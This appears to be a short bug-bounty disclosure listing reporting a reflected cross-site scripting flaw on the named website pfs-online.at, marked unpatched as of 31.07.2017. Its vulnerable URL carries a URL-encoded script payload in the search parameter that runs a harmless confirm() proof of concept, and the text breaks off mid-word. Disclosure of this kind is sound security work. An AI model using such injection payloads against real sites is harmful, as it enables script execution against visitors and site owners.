pfs-online.at XSS vulnerability

Vulnerable URL: http://pfs-online.at/site-search.asp?search=%22%27--%21%3E%3CScript%2FK%2F%3Econfirm%28%60OPENBUGBOUNTY%60%29%3C%2FScript%2F=Search+%7C+Suchen+%3E%3E=allwords Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerabilit...